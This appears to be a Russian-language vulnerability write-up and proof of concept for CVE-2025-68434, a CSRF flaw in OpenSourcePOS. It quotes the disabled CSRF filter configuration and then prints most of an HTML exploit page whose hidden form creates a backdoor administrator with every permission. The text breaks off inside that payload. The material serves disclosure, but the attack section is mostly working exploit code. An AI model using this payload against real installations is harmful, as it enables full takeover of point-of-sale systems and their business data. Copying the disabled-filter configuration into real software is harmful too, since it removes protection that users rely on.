
PoC и разбор для CVE-2025-68434: критическая CSRF-уязвимость в OpenSourcePOS. Эксплуатирует отключенную конфигурацию фильтра, позволяя неаутентифицированным атакующим незаметно создавать поддельные учетные записи администратора, что приводит к полному захвату системы. Проверено на версиях < 3.4.0.
| Метаданные | Детали |
|---|---|
| Идентификатор CVE | CVE-2025-68434 |
| Уровень опасности | Критический (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Тип уязвимости | Межсайтовая подделка запроса (CWE-352) |
| Затронутые версии | OpenSourcePOS v3.4.0, v3.4.1 |
| Исправленная версия | v3.4.2 |
| Уязвимый компонент | app/Config/Filters.php (глобальные фильтры безопасности) |
| Автор отчёта | Aditya Singh (Nixon-H) |
В базовой конфигурации безопасности OpenSourcePOS обнаружена критическая уязвимость межсайтовой подделки запроса (CSRF). Глобальный механизм CSRF-защиты приложения был явно отключён в файле app/Config/Filters.php из-за временного «TODO» в процессе разработки, который так и не был закрыт.
Эта ошибка конфигурации позволяла приложению принимать изменяющие состояние HTTP-запросы (POST) без проверки действительного анти-CSRF-токена. Неаутентифицированный удалённый злоумышленник мог воспользоваться этим, обманом заставив вошедшего в систему администратора посетить вредоносную страницу. Страница злоумышленника затем незаметно заставляла браузер жертвы выполнять административные действия, а именно создавать новую «бэкдор»-учётную запись администратора с полными правами, что приводило к полному захвату системы.
Уязвимость находилась в конфигурации глобальных фильтров (app/Config/Filters.php). В CodeIgniter 4 массив $globals определяет, какие фильтры выполняются для каждого запроса.
В затронутых версиях фильтр csrf был закомментирован в списке выполнения before, что фактически отключало CSRF-защиту для всего приложения.
Уязвимый код (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Поскольку эта строка была закомментирована, промежуточное ПО, отвечающее за проверку csrf_token_name, никогда не выполнялось. Приложение принимало любые POST-запросы из любого источника, полагаясь исключительно на сессионный cookie (ospos_session) для аутентификации.
csrf_exploit.html на внешнем сервере.valid_12345).POC/csrf_exploit.html)Это точная полезная нагрузка, использованная для создания подставного администратора с полными правами:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">